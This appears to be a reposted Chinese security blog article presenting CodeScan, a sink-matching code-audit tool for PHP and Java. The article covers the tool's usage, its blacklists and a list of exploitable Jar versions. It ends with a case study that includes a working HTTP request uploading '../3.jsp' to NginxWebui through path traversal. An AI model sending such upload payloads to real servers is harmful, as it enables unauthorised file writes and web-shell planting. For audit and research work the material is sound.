CodeScan-代码扫描审计工具

admin 2025年1月14日21:39:07评论19 views字数 3814阅读12分42秒阅读模式

声明

所提供的工具资料仅供学习之用。这些资料旨在帮助用户增进知识、提升技能,并促进个人成长与学习。用户在使用这些资料时,应严格遵守相关法律法规,不得将其用于任何非法、欺诈、侵权或其他不当用途。本人和团队不对用户因使用这些资料而产生的任何后果负责,包括但不限于因操作不当、误解资料内容或违反法律法规而导致的损失或损害。用户应自行承担使用这些资料的风险,并在使用前进行充分的了解和评估。

CodeScan

工具介绍

该工具目的为迅速匹配大多数不完整代码及其依赖中的Sink点,以辅助红队高效完成代码审计工作。开发该工具的初衷是基于Sink到Source的思路来开发,将全面识别所有可疑的Sink点,并结合直觉进行快速漏洞挖掘。且该工具具备高度的可扩展性,开发成本极低,目前工具已支持的语言有PHP,Java(JSP)

项目地址

https://github.com/Zjackky/CodeScan.git

安装方法

下载文件后,进入其所在目录。

在该目录下执行编译操作,会生成所有版本在releases

./build.sh

特点功能

框架识别:能够识别多种开发框架。

Sink点匹配:广泛覆盖大部分安全漏洞的Sink点匹配机制。

黑白名单定制:支持自定义黑白名单内容,以满足个性化需求。

多模块多语言审计:提供多模块化的代码审计功能,并支持多种编程语言。

鉴权代码快速匹配:能够高效融入鉴权代码,实现快速匹配与抓取。

Jar静态分析:默认提供基于Jar包的静态分析功能,以深入检测代码潜在问题。

帮助文档

Usage of ./CodeScan_darwin_arm64:

-L string
审计语言
-d string
要扫描的目录
-h string
使用帮助
-lb string
行黑名单
-m string
过滤的字符串
-pb string
路径黑名单
-r string
RCE规则
-u string
文件上传规则

使用例子

CodeScan_windows_amd64.exe -L java -d ./net
CodeScan_windows_amd64.exe -L php -d ./net
CodeScan_windows_amd64.exe -d ./net -m "CheckSession.jsp"

使用方法

均以Java作为示例

高扩展性,自定义设置极为便捷,如果需要自定义某些匹配规则,首先可以在此处添加

CodeScan-代码扫描审计工具

其次如果需要新增漏洞类型(以SQL漏洞为例),仅需简单三步即可完成。

新建SQL目录

定义一个方法,命名为“SqlCheck

编写一个名为“sqlcheck.txt”的文件 + 你自定义的规则

最后在这里加入包名+方法名即可

CodeScan-代码扫描审计工具
package SqlTest
import (
"CodeScan/FindFile"
"fmt"
)
func SqlCheck(dir string) {
FindFile.FindFileByJava(dir, "fastjson.txt", []string{".parseObject("})
fmt.Println("SqlCheck分析完成")
}

扫描位置

在打一些闭源代码的时候通常会遇到单个Jar包或Class文件,进行反编译时会把依赖一并反编译出来,所以为了避免因扫描依赖项而产生的误报情况,在工具内置了一份黑名单,用于过滤掉如下黑名单的包名,需要自定义的时候可自行修改,位置在CommonVul/Rule/MatchPathRule.go

var PathBlackJava = []string{
"apache""lombok""microsoft""solr",
"amazonaws""c3p0""jodd""afterturn""hutool",
"javassist""alibaba""aliyuncs""javax""jackson",
"bytebuddy""baomidou""google""netty""redis""mysql"
"logback""ognl""oracle""sun""junit""reactor""github",
"mchange""taobao""nimbusds""opensymphony""freemarker""java""apiguardian""hibernate""javassist""jboss""junit""mybatis",
"springframework""slf4j",
}

所以这也导致了一个问题,无法直接从顶层进行扫描

CodeScan-代码扫描审计工具

请把CodeScan放在Net的同级目录下进行扫描(否则Java目录会被直接忽略掉)

请把-d后面的参数尽量在/src/main/java之后,比如这里就需要把CodeScan放到net目录下开始扫描

CodeScan_windows_amd64.exe -L java -d ./net

过滤字符串(只写了JSP + PHP)

比如现在有一个代码百分百为鉴权代码,位于JSP中

<%@ include file="../../common/js/CheckSession.jsp"%>

此时可以用一下功能来进行快速获取未鉴权代码

CodeScan_windows_amd64.exe -d ./yuan -m "CheckSession.jsp"

此时会将不存在这个代码的文件都放到NoAuthDir目录中,然后可以再扫一遍就可以立刻定位到存在未鉴权并且存在Sink点的函数文件了

CodeScan_windows_amd64.exe -L java -d ./NoAuthDir

静态分析依赖情况

只需要在CodeScan的目录下放入EvilJarList.txt即可匹配出来

EvilJarList.txt 内容为存在可打漏洞的Jar,模版如下

fastjson-1.2.47.jar
resin-4.0.63.jar
jackson-core-2.13.3.jar
c3p0-0.9.5.2.jar
commons-beanutils-1.9.4.jar
commons-beanutils-1.9.3.jar
commons-beanutils-1.9.2.jar
commons-collections-3.2.1.jar
mysql-connector-java-8.0.17.jar
commons-collections4-4.0.jar
shiro-core-1.10.1.jar
aspectjweaver-1.9.5.jar
rome-1.0.jar
xstream-1.4.11.1.jar
sqlite-jdbc-3.8.9.jar
vaadin-server-7.7.14.jar
hessian-4.0.63.jar

使用案例

NginxWebui

先框架分析为Spring

CodeScan-代码扫描审计工具

任意文件上传

工具扫描出结果为

CodeScan-代码扫描审计工具

有时候代码就是可以直接秒的,这里发现transferTo 这个sink点就在控制层

找到

src/main/java/com/cym/controller/adminPage/MainController.java
CodeScan-代码扫描审计工具
CodeScan-代码扫描审计工具

这种名字可以进行跨目录上传

直接传即可上传成功

CodeScan-代码扫描审计工具

报文

POST /admiNPage/main/upload HTTP/1.1
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Origin: http://localhost:8080
Referer: http://localhost:8080/adminPage/monitor
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="123""Not:A-Brand";v="8""Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="../3.jsp"
Content-Type: image/jpeg
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A—
CodeScan-代码扫描审计工具

原文始发于微信公众号(泷羽Sec-Ceo):CodeScan-代码扫描审计工具

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月14日21:39:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CodeScan-代码扫描审计工具https://cn-sec.com/archives/3628233.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息